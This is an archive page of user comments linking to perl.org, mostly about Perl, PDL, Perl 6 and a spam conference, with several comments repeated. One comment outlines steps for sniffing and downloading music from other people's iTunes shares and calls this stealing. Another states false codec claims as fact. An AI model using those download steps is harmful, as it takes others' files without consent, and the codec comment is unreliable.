Domain: perl.org
Stories and comments across the archive that link to perl.org.
Comments · 847
-
Re:Maintaining Existing Software
CPAN, the Comprehensive Perl Archive Network, is one of the best examples of a reusable code base out there. It is the one reason that I generally write a perl solution to a problem first.
-
Re:Put it into the terms of the contract...Actually, I'm not an employee of the U.S. Government, I'm an employee of Southwest Research Institute. What we do is produce scientific results under contract to NASA (and elsewhere). The actual results that we produce are (I believe, but IANAL) required to be in the public domain, but the software tools and intermediate data products are certainly not: in fact, much of NASA's scientific work is done using proprietary, closed-source software, something I'm actively combating within my community.
So, the intermediate products and tools that I use are in general copyrighted, and I do what I can to ensure that they are licensed universally under GPL, Perl Artistic, or other approved open source licenses.
Needless to say, the contributions I make to open-source projects (like, say, PDL) count as tools and/or intermediate data products and hence are released back into the community from whence they came.
If you are in a position to negotiate contracts of this sort (ie to get a particular result) I encourage you to write-in that the tools will be released under a free software license, or into the public domain -- that way you can give back to the software community that helps support you.
-
PSU Physics / OSS
At PSU Physics , we use a variety of OSS for research. Most notable is our computing cluster which runs particle simulations and such on Linux. I'm unawae of any who have reversed drivers for their instruments to run on OSS in my department, however many researchers use PERL to analyze the results.
-
Am I the only one?
Am I the only one, who thinks about Brain F#$%@ while reading about "Microsoft's New F# Language?" But seriously, I think Fis is quite an interesting language (even if not quite so as, say, Perl 6 is), but it will need lots of marketing to push C and C++ out of the OO market, which will be difficult as h*ll, even for Microsoft. Even if everyone in proprietary software industry switches to Fis, there will still be enough C in free software projects to consideribly slow the deployment. But it was still quite an entertaining reading, even if it hasn't provided any outstanding insight. Robyn Peterson's articles have never disapointed me, however this time I feel a little bit bored. I guess I was expecting too much from Microsoft language development people, but on the other hand, how far could they possibly go, with all this legacy backward compatibility? I think they have done quite a good job this time, considering it's Microsoft. Who knows, I may even write some of my new projects in Fis. I hope it will be supported by GCC soon enough.
-
Re:drop AltiVecI do science and I have benefitted from optimized BLAS libraries (on x86 chips as it happens) both when using a program for semidefinite programming and running Octave scripts. A colleague of mine gave a talk just yesterday, mentioning how easy it had been setting something up using Perl and PDL, which apparently is built ontop of BLAS. I think the GSL is also using BLAS if it is available.
You simply do not necessarily need to work directly with BLAS (and LAPACK for that matter) to enjoy the fruits of excellent optimization!
-
Re:Why I like Python and SWIG
-
Re:Why I like Python and SWIG
-
Re:Reactionary languages - Perl
You appear to have misspelt "warnings" as "Safe". There's no point using Safe unless you're doing stuff that needs it.
These days, you should be using 'our' rather than 'use vars'. Plus, you say to avoid globals, but you 'use vars'?
You should learn Perl rather than rely on English.
You should not use Java like variable and function names, except where it matches with perlstyle.
As with most languages, the best way to understand code written in the language is to learn the language. Make use of its features and its strengths. Get involved in the community. Read books, read articles and more articles. Contribute to code repositories. etc. -
Re:Simply Incorrect
Some reflection would indicate that 'somestuff' in the URL
http://your.mac.com:3689/somestuff/file.mp3 is not meant to be taken literally! I did not spell it out precisely because I don't condone the stealing of music.
However, if you want to learn more, go to these two places:
pudge's journal
DAAP reverse-engineering project
A DAAP Wiki (collaborative webpage)
Briefly:
To just piggyback on iTunes:
Use tcpdump to watch for URLs of the form http://the.ip.address:3689/databases/32/233.mp3?se ssion_id=17934
Then use that URL with the web browser or download client of your choice to steal music.
To write your own client:
First you login with http://the.ip.address:3689/login
You parse the result for the session ID number
Then you do some logging in stuff
Then you ask for the contents of the iTunes database with http://the.ip.addrses:3689/databases/##/items
The n you download (or stream) files to your heart's content. -
More
Here are my own notes on problems with enabling my account, problems with (and benefits of) playlist sharing, and extracting cover art.
-
More
Here are my own notes on problems with enabling my account, problems with (and benefits of) playlist sharing, and extracting cover art.
-
More
Here are my own notes on problems with enabling my account, problems with (and benefits of) playlist sharing, and extracting cover art.
-
More
Here are my own notes on problems with enabling my account, problems with (and benefits of) playlist sharing, and extracting cover art.
-
More
Here are my own notes on problems with enabling my account, problems with (and benefits of) playlist sharing, and extracting cover art.
-
Some other notes
Here are my own notes on problems with enabling my account, problems with (and benefits of) playlist sharing, and extracting cover art.
-
Some other notes
Here are my own notes on problems with enabling my account, problems with (and benefits of) playlist sharing, and extracting cover art.
-
Some other notes
Here are my own notes on problems with enabling my account, problems with (and benefits of) playlist sharing, and extracting cover art.
-
Some other notes
Here are my own notes on problems with enabling my account, problems with (and benefits of) playlist sharing, and extracting cover art.
-
Some other notes
Here are my own notes on problems with enabling my account, problems with (and benefits of) playlist sharing, and extracting cover art.
-
Re:A (hopefully) unbiased opinion on Perl v. Pytho
I would call you a karma whore if you weren't AC. If anybody would like to see the unplagiarized version of this post and the thread it came from Here it is.
-
Re:hardly a plug, but...
Or, even better, buy Learning Perl, Elements of Programming with Perl, Perl for Web Site Management, or any of the numerous decent perl books that have been published in the past year or two. It's scary how many people will try to learn from old books that haven't been updated.
And, most importantly, don't just get a "X and Perl" or "Perl and X" book. Learn the language, then learn some of the niches. "Computer Science & Perl Programming" and "Web, Graphics & Perl/Tk" are two recent O'reilly titles that show a variety of interesting things one can do with Perl. Don't just limit yourself to one little corner.
The best thing to do, no matter what else, is to get involved in the perl community. Contribute to CPAN; hang out on #perls on irc; play with perlmonks.org; browse comp.lang.perl.* on usenet; join mailing lists. etc. The language is just a focal point to help get to know more people.
-
Re:hardly a plug, but...
Or, even better, buy Learning Perl, Elements of Programming with Perl, Perl for Web Site Management, or any of the numerous decent perl books that have been published in the past year or two. It's scary how many people will try to learn from old books that haven't been updated.
And, most importantly, don't just get a "X and Perl" or "Perl and X" book. Learn the language, then learn some of the niches. "Computer Science & Perl Programming" and "Web, Graphics & Perl/Tk" are two recent O'reilly titles that show a variety of interesting things one can do with Perl. Don't just limit yourself to one little corner.
The best thing to do, no matter what else, is to get involved in the perl community. Contribute to CPAN; hang out on #perls on irc; play with perlmonks.org; browse comp.lang.perl.* on usenet; join mailing lists. etc. The language is just a focal point to help get to know more people.
-
Re:hardly a plug, but...
Or, even better, buy Learning Perl, Elements of Programming with Perl, Perl for Web Site Management, or any of the numerous decent perl books that have been published in the past year or two. It's scary how many people will try to learn from old books that haven't been updated.
And, most importantly, don't just get a "X and Perl" or "Perl and X" book. Learn the language, then learn some of the niches. "Computer Science & Perl Programming" and "Web, Graphics & Perl/Tk" are two recent O'reilly titles that show a variety of interesting things one can do with Perl. Don't just limit yourself to one little corner.
The best thing to do, no matter what else, is to get involved in the perl community. Contribute to CPAN; hang out on #perls on irc; play with perlmonks.org; browse comp.lang.perl.* on usenet; join mailing lists. etc. The language is just a focal point to help get to know more people.
-
Re:hardly a plug, but...
Or, even better, buy Learning Perl, Elements of Programming with Perl, Perl for Web Site Management, or any of the numerous decent perl books that have been published in the past year or two. It's scary how many people will try to learn from old books that haven't been updated.
And, most importantly, don't just get a "X and Perl" or "Perl and X" book. Learn the language, then learn some of the niches. "Computer Science & Perl Programming" and "Web, Graphics & Perl/Tk" are two recent O'reilly titles that show a variety of interesting things one can do with Perl. Don't just limit yourself to one little corner.
The best thing to do, no matter what else, is to get involved in the perl community. Contribute to CPAN; hang out on #perls on irc; play with perlmonks.org; browse comp.lang.perl.* on usenet; join mailing lists. etc. The language is just a focal point to help get to know more people.
-
Re:hardly a plug, but...
Or, even better, buy Learning Perl, Elements of Programming with Perl, Perl for Web Site Management, or any of the numerous decent perl books that have been published in the past year or two. It's scary how many people will try to learn from old books that haven't been updated.
And, most importantly, don't just get a "X and Perl" or "Perl and X" book. Learn the language, then learn some of the niches. "Computer Science & Perl Programming" and "Web, Graphics & Perl/Tk" are two recent O'reilly titles that show a variety of interesting things one can do with Perl. Don't just limit yourself to one little corner.
The best thing to do, no matter what else, is to get involved in the perl community. Contribute to CPAN; hang out on #perls on irc; play with perlmonks.org; browse comp.lang.perl.* on usenet; join mailing lists. etc. The language is just a focal point to help get to know more people.
-
Re:hardly a plug, but...
Or, even better, buy Learning Perl, Elements of Programming with Perl, Perl for Web Site Management, or any of the numerous decent perl books that have been published in the past year or two. It's scary how many people will try to learn from old books that haven't been updated.
And, most importantly, don't just get a "X and Perl" or "Perl and X" book. Learn the language, then learn some of the niches. "Computer Science & Perl Programming" and "Web, Graphics & Perl/Tk" are two recent O'reilly titles that show a variety of interesting things one can do with Perl. Don't just limit yourself to one little corner.
The best thing to do, no matter what else, is to get involved in the perl community. Contribute to CPAN; hang out on #perls on irc; play with perlmonks.org; browse comp.lang.perl.* on usenet; join mailing lists. etc. The language is just a focal point to help get to know more people.
-
Re:In related news...Thanks for that reference.
It is important to get this news. You're right that American media isn't carrying it.
Just curious. Does anyone know if the Arab media carrying the reports that Iraqi Military and Paramilitary are firing on civilians trying to leave Basra? I couldn't find any reference to it from English-language Arabic news sources on news.google.com, but then the English-language Arabic news sources don't seem to be much referenced on news.google.com, lately
There were lots of English-language Arabic News source there a few days ago. Somebody mentioned this this here, and I have to say it does seem like these source have dried up on news.google.com.
-
The Last Apocolypse...
... was 9 months ago! I knew Perl was slow, but that's just bad! 8^)
Just kidding, great work guys!
-
More Information
The Previous Apocolypses as well as some more info (who's who, list summaries). Read up!
On another note, is Perl 6 even going to be relevant with next-generation languages like Ruby and Python already fairly mature?
;-) -
How to Play the Intuit .MOV Files on a DVD PlayerIntuit _does_ in fact work on Macs if you buy the right version (it's the white box with steel gray graphics, not the blue/green Windows retail package). Anyway, you can also play the
.mov files you're familiar with on your DVD drive (little known fact, but I tried it out)!
I discovered when I dug beneath the hood that the Sorensen codec used in most conventional Quicktime encodings is actually MPEG2 frames in little-endian rather than big-endian format. Each frame is stamped with a SRSN watermark in an unused (and irrelevant for our purposes) portion of the field and run through Diffie-Hellman encoding which is lossless and while a good deal slower than MPEG4 on playback offers better quality and is the reason the movie studios tend to choose Quicktime over other video formats for their trailers.
Not entirely coincidentally, MPEG2 is what is used on DVDs, and I have discovered that it is possible to jerry-rig a decent VCD out of a .mov file with tools that are available for free provided you know what you're doing. I don't guarantee the following, but it worked for me after a period of trial and error.
As usual, don't forget PGP to encode/sign and decode/verify your media files. If you need help on getting started, check the links below at the end of this comment.
Hopefully you'll think it was worth the effort. Naturally, your DVD player will have to be able to handle VCDs for this to have any point, but irregardless it's almost a guarantee that the second or third Matrix DVD is going to have all of Animatrix as extras anyway if you don't mind the wait. But I thought I'd share this technique with you anyway because of the coolness factor. :)
Here are some more links to help you out on your endeavor:
-
Re:caching and diffs (Re:Having read the article..
-
Perl Data Language
Let's not forget about PDL, the Perl Data Language. Think of Matlab combined with the goodness (i.e. CPAN packages) of perl.
-
my daily routine..
- Slashdot... Hardly a surprise here..
- Freshnews.. I really like this news aggregator site, from there, I usually scan OReilly, Kuro5hin, Ars and a few other sites they feature for interesting articles and visit if the title seems interesting..
- Use Perl.. Top 10 journals, mostly
- Google news.. This replaced visits to BBC, CNN and a few others
- Freshmeat.. and a few other shareware sites from time to time
- Joel on Software.. and a few more blogs, like Scripting
- Trillian, Phoenix, Apache and a few more software sites for possible updates...
- Webmail accounts
:D -
Re:Yes, and partly language designers' doing
Actually...
It may not be well known, but Ruby is ten years old today (24 February 2003). Perl is 16 years old (1987). I'm not sure how old Python is. Unicode 1.0 was fully released in June 1992, five years after the projects started (mostly at Apple, apparently).
Except for a few "gotchas" (which are, per Matz, part of what will be cleaned up on the way to Ruby 2.0), Ruby supports a lot of Unicode (UTF-8 at least) already, as well as other multibyte character systems (Shift-JIS and EUC, primarily, as it was originalyl written in Japan and is still primarily maintained there).
The point is that Unicode is still immature (4.0 is on the way, but how many systems yet support 3.2?). I suspect that Ruby 2.0 will be fully Unicode compliant. (Even with Unicode compliance, of course, one still has to write programs to be compliant; language Unicode compliance is merely support.)
-austin
-
What is the best overall strategy?
It's all well & good to complain that spam is the organized crime of the internet, but it's another matter to actually use that rhetoric to get the gangsters thrown in jail or at least into a different line of work (as an aside, here's a scary thought: Dave Ralsky as a character in "The Sopranos" or "Godfather IV". yow!) How do we get there? At last month's Spam Conference, the impression I got was that no one strategy is by itself going to be enough to handle the spam problem:
- Legislation won't be enough, because some people will just move their operations do different jurisdictions, while others will ignore the law (by analogy, bank robberies still happen even though they're not illegal, since that's where the money is)
- Filtering won't be enough to save us, because spammers can keep evolving to avoid filters faster than filter writers can adapt
- Blacklists are even worse than spam, since they always lead to false positives & deletion of legitimate mail
- Network changes are unlikely to help, because many of the proposed ideas are disruptive than the spam problem itself
(Subjectively, the spam I've received since the conference has gotten *much* more difficult to filter. In spite of the great tools I learned about that day, the tactics of the spammers have gotten more crafty. This is turning into an arms race, and one I'm not sure we can win. Are you concerned that things may have changed for the worse since the Conference, or on the whole did the "good guys" come out ahead?)
Given that, to steal Fred Brooks' line, "there is no silver bullet" to solve the spam problem, how do you propose that we handle it? It seems like there are grassroots efforts to prevent spam delivery (things like SpamAssassin, Paul Graham's statistical work, realtime blacklists), topdown efforts to control spam on a network (Brightmail, MessageLabs, etc) and lateral attacks on the legal & economic side of things (Jon Praed's lawsuits on AOL's behalf, Microsoft pledging to sue Hotmail spammers). These are all chipping away at the problem, but none of these people seemed to feel that their efforts alone would be enough to make spam go away.
The general consensus at the conference seemed to be that the only truly effective tactic would be to fundamentally disrupt the business model of spam: if you can make spam less profitable than say traditional junk mail, or stealing hubcaps, then you remove the incentive to take it up as a living. Do you agree with this? If so, then where are the thresholds at which spam becomes less profitable than hubcaps, and what tactics will bring us to that level most effectively?
In short, we all know what the problem is, and a lot of smart people have started to identify aspects of the problem. But are we making enough progress? If not, how can progress most effectively be made? Where are we falling behind? Has the Spam Conference been a turning point for the better, or do the spammers just have the rest of us on the run now? Can you please enumerate, in your opinion what seems to be working (if anything) and what seems to be falling short, and put this in context by describing which strategies (technology, legislation, etc) that you think will be most effective in the long run.
Thank you, and thanks for the Conference talk. It was very entertaining
:-) -
Hard to read Perl [5][Perl 5 is] NOT HARD TO READ UNLESS YOU MAKE IT HARD TO READ!!!
If it's not hard to read, then why are the designers of perl 6 making a lot of efforts to make it a lot easier to read than perl 5?
Quoting Larry Wall from the Apocalypses:- In fact, regular expression culture is a mess, and I share some of the blame for making it that way. Since my mother always told me to clean up my own messes, I suppose I'll have to do just that. [emphasis mine]
- But Perl has often been tagged as a language in which it's easy to write programs that are difficult to read, and it's no secret that regular expression syntax that has been the chief culprit. [emphasis mine]
- there's a lot of regex culture that needs breaking.
- [Read all of Apocalypse 5 to learn exactly why perl 5 sucks to read. Even the extended syntax ain't really the most readable syntax.]
- As a specific example, there are various ways things could improve if we muster the courage to break the ``weird'' relationship between @foo and $foo[].
... the botch that in Perl 5 requires us to distinguish $foo[] from $foo->[] - I think length(@array) should be equivalent to @array.length(), so if there's a length method available, it should be called.
- Legacy Perl $pkg'var Should Die.
I agree. I was unduly influenced by Ada syntax here, and it was a mistake. - odd looking constructions like: $foo->[1][2][3]
- We're definitely killing Perl 5's slice syntax
- Various special punctuation variables are gone in Perl 6
- Typeglobs are gone.
- I'd like to get rid of the gratuitously ugly \E as an end-of-scope marker.
- I've always thought qw() was kind of ugly, so I'd like to replace it with something prettier.
- Angle Brackets Should Not Be Used for File Globbing. Indeed, they won't be. In fact, angle brackets won't be used for input at all, I suspect.
- This allows us to simplify the special case in Perl 5 represented by the _ token, which was always rather difficult to explain.
- The basic underlying question is "What exactly do those curlies mean?" For Perl 5 and earlier, the answer to that question was, "Too many things". Or rather, too many things with inconsistent rules.
- curlies are so extremely overloaded in Perl 5
- The old use integer pragma was a hack.
Just for a point of reference, I'm a perl programmer who doesn't fit your categories (a), (b), or (c), but still finds perl code hard to read fairly often.
With all that said, I'll close with one more quote from the Wall:- Perl 5 does a lot of things right, and we're not terribly interested in ``fixing'' that.
- In fact, regular expression culture is a mess, and I share some of the blame for making it that way. Since my mother always told me to clean up my own messes, I suppose I'll have to do just that. [emphasis mine]
-
Re:My favorite...My favorite was theorem in 1990.
Another good one was jar.
But, Larry Wall's third entry was pretty good too.
-
Re:Sure Apple can do it...
At twice the price of a comparably powerful PC. Apple isn't an option unless you're image concious. Accept it and get over it.
Apple is definitely a more expensive solution to certain computing situations than x86-based solutions (Windows, Linux, BSDs, etc.). I disagree, however, that Apple is only an option for the image-conscious. For me (and I bought my Apple machines expressedly for Mac OS X) and perhaps many others, Apple's blend of UNIX-like underpinnings and Macintosh user experience provide an unmatchable combination. Using my Apple machines for computing allows me to use standard productivity applications for ease-of-use (i.e. compatibility with Microsoft file formats, popular and supported shrink-wrapped software) and powerful UNIX ports (i.e. vi, apache, CUPS) together and without fuss. I believe that Apple is well on the way to making simple things easy and difficult things possible.
-
AddendaThe material above was originally posted as a comment on Slashdot, before being pasted into journal entries on Slashdot and use.perl.org. Each version of the writeup has attracted comments & emails, for which I thank you. A couple of corrections have come up, and I don't want the eventual archived versions of this not to reflect those contributions (hello, future Google spelunkers!), so here's a general cross-linked addendum:
- http://use.perl.org/~babbage/journal/10069:
Chrysflame posted detailed minutes for the proceedings, as pasted from Oliver Schmelzle's TechBlog.Readers may find it useful to cross-check my notes against his times when looking for talks they would like to listen to.
Matt Sergeant politely replied as well, noting that the impressive claims about CRM114's accuracy were yet to be thoroughly tested, that in other tests CRM114 had not been significantly more accurate than other Bayesian strategies, and that the current performance of CRM114 is so much slower than many of the alternatives that any gains it may have to offer are more than offset by the low volume it can currently handle. Grain of salt taken
:) - http://slashdot.org/~babbage/journal/21771/:
No comments as of this writing.
- http://slashdot.org/comments.pl?sid=51208&cid=511
2 383:An anonymous coward added a couple of corrections which are worth noting:
-
Jon Praed was questioning IP spoofing, not message header spoofing. It is relatively easy to fake at least some of the headers on an email, but when tracked down & brought before a judge, no spammer has ever been able to explain a credible technique for spoofing IP data in any trial Praed was aware of. When this comment was made to the audience, ESR spoke up saying that he could show Praed how to do it, but I don't know what if anything came of any conversation they had after the talk.
-
The AC also expanded on Michael Salib's talk & how much mileage Salib was seeing out of a comically non-buzzword compliant filtering strategy, but came back to the point that his results were "probably unrepeatable and it would probably be best if we all just treated them as outright lies." As the AC noted, Salib seems to have played a big role in organizing the conference -- I think I read somewhere that when the attendee list swelled to 500+ people, he helped to find a last minute venue big enough to accomodate everyone. So not only do we have to thank Salib for an entertaining spiel of quackery, but also for bringing everyone together in the first place.
:)
I never said my notes were perfect
:) -
- Emails sent to me directly:
- Brad Spencer wrote to me asking if anyone had mentioned relay spam honeypots, citing http://jackpot.uk.net/ as an example, and claiming that they are "100% accurate and can be devastating.". Respectfully Brad, I'm not sure that the speakers gathered together last week would agree that any approach is "100% accurate" unless you have a very generous definition of "accurate" (as in, "delete everything as spam" is 100% accurate, but 100% useless
:). More fairly though, Brad claims that "if you deal with spam at the relay level you can be dumb -- it is the spammers who are forced to be smart. If they make an incremental move towards being smart you move beyond them." I won't argue with that, it sounds like a fine idea. I suggest taking ideas like this to Barry Shein et al, who would probably love to discuss these ideas & implement anything that works well.In his email, Spencer went on to expand on the value of honeypots, and how they seem like a very promising tactic for handling the spam problem. I agree, and maybe my writeup didn't give this enough attention, but I think many or all of the conference speakers would have agreed as well. Ken Schneider made it clear that Brightmail in particular seems to make heavy use of honeypot addresses: it sounded like when they set up service for an organization, they plant one or more dummy addresses at that organization as data points for spam collection efforts, and have mechanisms in place to gather & analyze this data in real time. Spencer suggests that honeypot addresses would be very hard for spammers to detect if they resemble legit MTAs as much as possible, and I have the impression that this is exactly what Brightmail is doing. I'm sure that others are using tactics like this as well, but Schneider was the most vocal user of the tactic that I noticed.
-
John Hanna wrote to me saying that he runs an anti-spam project at http://assp.sf.net, and noticed a surge in traffic after the conference. To answer John's question, I did not notice anyone mentioning ASSP [caps?] during any of the talks, but it could well be that people were discussing it amongst themselves off stage. *shrug*
- Ashley Pomeroy wrote to a mailing list where I posted my notes, asking:It may have been raised before, but does the specific use of 'ham' to mean 'good' and 'spam' to mean 'bad' leave all these good people open to abuse from the people who make Spam, the nutritious meat-based food?
I assume that Spam(r) is cool about the use of the term 'spam' to mean junk e-mail, but adding a converse makes it explicitly clear that 'spam=bad'.
And what do the pigs think about all this? Its their flesh we're talking about. The ultimate expression of love is to consume the flesh of another being; we are sending out a mixed message as to whether we love pigs or not, which will surely effect the quality of the eggs they lay.
By this token eating one's fingernails/bogies/earwax is a form of self-love, which is perfectly natural.
To which I have no comment
:)
- Brad Spencer wrote to me asking if anyone had mentioned relay spam honeypots, citing http://jackpot.uk.net/ as an example, and claiming that they are "100% accurate and can be devastating.". Respectfully Brad, I'm not sure that the speakers gathered together last week would agree that any approach is "100% accurate" unless you have a very generous definition of "accurate" (as in, "delete everything as spam" is 100% accurate, but 100% useless
If I get any other material relevant to the conference, I may add it to the Slashdot or use.perl journals, but in any case I wanted to get this up while the pages are still getting traffic, so readers of one variation of the page are not missing out on what may be added to other variations. Thanks all for the feedback!
:) - http://use.perl.org/~babbage/journal/10069:
-
AddendaThe material above was originally posted as a comment on Slashdot, before being pasted into journal entries on Slashdot and use.perl.org. Each version of the writeup has attracted comments & emails, for which I thank you. A couple of corrections have come up, and I don't want the eventual archived versions of this not to reflect those contributions (hello, future Google spelunkers!), so here's a general cross-linked addendum:
- http://use.perl.org/~babbage/journal/10069:
Chrysflame posted detailed minutes for the proceedings, as pasted from Oliver Schmelzle's TechBlog.Readers may find it useful to cross-check my notes against his times when looking for talks they would like to listen to.
Matt Sergeant politely replied as well, noting that the impressive claims about CRM114's accuracy were yet to be thoroughly tested, that in other tests CRM114 had not been significantly more accurate than other Bayesian strategies, and that the current performance of CRM114 is so much slower than many of the alternatives that any gains it may have to offer are more than offset by the low volume it can currently handle. Grain of salt taken
:) - http://slashdot.org/~babbage/journal/21771/:
No comments as of this writing.
- http://slashdot.org/comments.pl?sid=51208&cid=511
2 383:An anonymous coward added a couple of corrections which are worth noting:
-
Jon Praed was questioning IP spoofing, not message header spoofing. It is relatively easy to fake at least some of the headers on an email, but when tracked down & brought before a judge, no spammer has ever been able to explain a credible technique for spoofing IP data in any trial Praed was aware of. When this comment was made to the audience, ESR spoke up saying that he could show Praed how to do it, but I don't know what if anything came of any conversation they had after the talk.
-
The AC also expanded on Michael Salib's talk & how much mileage Salib was seeing out of a comically non-buzzword compliant filtering strategy, but came back to the point that his results were "probably unrepeatable and it would probably be best if we all just treated them as outright lies." As the AC noted, Salib seems to have played a big role in organizing the conference -- I think I read somewhere that when the attendee list swelled to 500+ people, he helped to find a last minute venue big enough to accomodate everyone. So not only do we have to thank Salib for an entertaining spiel of quackery, but also for bringing everyone together in the first place.
:)
I never said my notes were perfect
:) -
- Emails sent to me directly:
- Brad Spencer wrote to me asking if anyone had mentioned relay spam honeypots, citing http://jackpot.uk.net/ as an example, and claiming that they are "100% accurate and can be devastating.". Respectfully Brad, I'm not sure that the speakers gathered together last week would agree that any approach is "100% accurate" unless you have a very generous definition of "accurate" (as in, "delete everything as spam" is 100% accurate, but 100% useless
:). More fairly though, Brad claims that "if you deal with spam at the relay level you can be dumb -- it is the spammers who are forced to be smart. If they make an incremental move towards being smart you move beyond them." I won't argue with that, it sounds like a fine idea. I suggest taking ideas like this to Barry Shein et al, who would probably love to discuss these ideas & implement anything that works well.In his email, Spencer went on to expand on the value of honeypots, and how they seem like a very promising tactic for handling the spam problem. I agree, and maybe my writeup didn't give this enough attention, but I think many or all of the conference speakers would have agreed as well. Ken Schneider made it clear that Brightmail in particular seems to make heavy use of honeypot addresses: it sounded like when they set up service for an organization, they plant one or more dummy addresses at that organization as data points for spam collection efforts, and have mechanisms in place to gather & analyze this data in real time. Spencer suggests that honeypot addresses would be very hard for spammers to detect if they resemble legit MTAs as much as possible, and I have the impression that this is exactly what Brightmail is doing. I'm sure that others are using tactics like this as well, but Schneider was the most vocal user of the tactic that I noticed.
-
John Hanna wrote to me saying that he runs an anti-spam project at http://assp.sf.net, and noticed a surge in traffic after the conference. To answer John's question, I did not notice anyone mentioning ASSP [caps?] during any of the talks, but it could well be that people were discussing it amongst themselves off stage. *shrug*
- Ashley Pomeroy wrote to a mailing list where I posted my notes, asking:It may have been raised before, but does the specific use of 'ham' to mean 'good' and 'spam' to mean 'bad' leave all these good people open to abuse from the people who make Spam, the nutritious meat-based food?
I assume that Spam(r) is cool about the use of the term 'spam' to mean junk e-mail, but adding a converse makes it explicitly clear that 'spam=bad'.
And what do the pigs think about all this? Its their flesh we're talking about. The ultimate expression of love is to consume the flesh of another being; we are sending out a mixed message as to whether we love pigs or not, which will surely effect the quality of the eggs they lay.
By this token eating one's fingernails/bogies/earwax is a form of self-love, which is perfectly natural.
To which I have no comment
:)
- Brad Spencer wrote to me asking if anyone had mentioned relay spam honeypots, citing http://jackpot.uk.net/ as an example, and claiming that they are "100% accurate and can be devastating.". Respectfully Brad, I'm not sure that the speakers gathered together last week would agree that any approach is "100% accurate" unless you have a very generous definition of "accurate" (as in, "delete everything as spam" is 100% accurate, but 100% useless
If I get any other material relevant to the conference, I may add it to the Slashdot or use.perl journals, but in any case I wanted to get this up while the pages are still getting traffic, so readers of one variation of the page are not missing out on what may be added to other variations. Thanks all for the feedback!
:) - http://use.perl.org/~babbage/journal/10069:
-
AddendaThe material above was originally posted as a comment on Slashdot, before being pasted into journal entries on Slashdot and use.perl.org. Each version of the writeup has attracted comments & emails, for which I thank you. A couple of corrections have come up, and I don't want the eventual archived versions of this not to reflect those contributions (hello, future Google spelunkers!), so here's a general cross-linked addendum:
- http://use.perl.org/~babbage/journal/10069:
Chrysflame posted detailed minutes for the proceedings, as pasted from Oliver Schmelzle's TechBlog.Readers may find it useful to cross-check my notes against his times when looking for talks they would like to listen to.
Matt Sergeant politely replied as well, noting that the impressive claims about CRM114's accuracy were yet to be thoroughly tested, that in other tests CRM114 had not been significantly more accurate than other Bayesian strategies, and that the current performance of CRM114 is so much slower than many of the alternatives that any gains it may have to offer are more than offset by the low volume it can currently handle. Grain of salt taken
:) - http://slashdot.org/~babbage/journal/21771/:
No comments as of this writing.
- http://slashdot.org/comments.pl?sid=51208&cid=511
2 383:An anonymous coward added a couple of corrections which are worth noting:
-
Jon Praed was questioning IP spoofing, not message header spoofing. It is relatively easy to fake at least some of the headers on an email, but when tracked down & brought before a judge, no spammer has ever been able to explain a credible technique for spoofing IP data in any trial Praed was aware of. When this comment was made to the audience, ESR spoke up saying that he could show Praed how to do it, but I don't know what if anything came of any conversation they had after the talk.
-
The AC also expanded on Michael Salib's talk & how much mileage Salib was seeing out of a comically non-buzzword compliant filtering strategy, but came back to the point that his results were "probably unrepeatable and it would probably be best if we all just treated them as outright lies." As the AC noted, Salib seems to have played a big role in organizing the conference -- I think I read somewhere that when the attendee list swelled to 500+ people, he helped to find a last minute venue big enough to accomodate everyone. So not only do we have to thank Salib for an entertaining spiel of quackery, but also for bringing everyone together in the first place.
:)
I never said my notes were perfect
:) -
- Emails sent to me directly:
- Brad Spencer wrote to me asking if anyone had mentioned relay spam honeypots, citing http://jackpot.uk.net/ as an example, and claiming that they are "100% accurate and can be devastating.". Respectfully Brad, I'm not sure that the speakers gathered together last week would agree that any approach is "100% accurate" unless you have a very generous definition of "accurate" (as in, "delete everything as spam" is 100% accurate, but 100% useless
:). More fairly though, Brad claims that "if you deal with spam at the relay level you can be dumb -- it is the spammers who are forced to be smart. If they make an incremental move towards being smart you move beyond them." I won't argue with that, it sounds like a fine idea. I suggest taking ideas like this to Barry Shein et al, who would probably love to discuss these ideas & implement anything that works well.In his email, Spencer went on to expand on the value of honeypots, and how they seem like a very promising tactic for handling the spam problem. I agree, and maybe my writeup didn't give this enough attention, but I think many or all of the conference speakers would have agreed as well. Ken Schneider made it clear that Brightmail in particular seems to make heavy use of honeypot addresses: it sounded like when they set up service for an organization, they plant one or more dummy addresses at that organization as data points for spam collection efforts, and have mechanisms in place to gather & analyze this data in real time. Spencer suggests that honeypot addresses would be very hard for spammers to detect if they resemble legit MTAs as much as possible, and I have the impression that this is exactly what Brightmail is doing. I'm sure that others are using tactics like this as well, but Schneider was the most vocal user of the tactic that I noticed.
-
John Hanna wrote to me saying that he runs an anti-spam project at http://assp.sf.net, and noticed a surge in traffic after the conference. To answer John's question, I did not notice anyone mentioning ASSP [caps?] during any of the talks, but it could well be that people were discussing it amongst themselves off stage. *shrug*
- Ashley Pomeroy wrote to a mailing list where I posted my notes, asking:It may have been raised before, but does the specific use of 'ham' to mean 'good' and 'spam' to mean 'bad' leave all these good people open to abuse from the people who make Spam, the nutritious meat-based food?
I assume that Spam(r) is cool about the use of the term 'spam' to mean junk e-mail, but adding a converse makes it explicitly clear that 'spam=bad'.
And what do the pigs think about all this? Its their flesh we're talking about. The ultimate expression of love is to consume the flesh of another being; we are sending out a mixed message as to whether we love pigs or not, which will surely effect the quality of the eggs they lay.
By this token eating one's fingernails/bogies/earwax is a form of self-love, which is perfectly natural.
To which I have no comment
:)
- Brad Spencer wrote to me asking if anyone had mentioned relay spam honeypots, citing http://jackpot.uk.net/ as an example, and claiming that they are "100% accurate and can be devastating.". Respectfully Brad, I'm not sure that the speakers gathered together last week would agree that any approach is "100% accurate" unless you have a very generous definition of "accurate" (as in, "delete everything as spam" is 100% accurate, but 100% useless
If I get any other material relevant to the conference, I may add it to the Slashdot or use.perl journals, but in any case I wanted to get this up while the pages are still getting traffic, so readers of one variation of the page are not missing out on what may be added to other variations. Thanks all for the feedback!
:) - http://use.perl.org/~babbage/journal/10069:
-
Ace HW needs a clue
Ace's Hardware needs to research real servers before talking about their "scalable" servers. Their numbers are really saying that their box performs like a dog.
For those of you interested in this topic here is a few pointers and words of wisdom.
Server scalabilty and performance has three basic metrics, thruput (urls/sec), simultaneous connections, and performance while overloaded. Of course, you could add latensy but I'd argue that with the correct design latency is directly proportional to the real work you are doing, bad design insertes arbitrary waits.
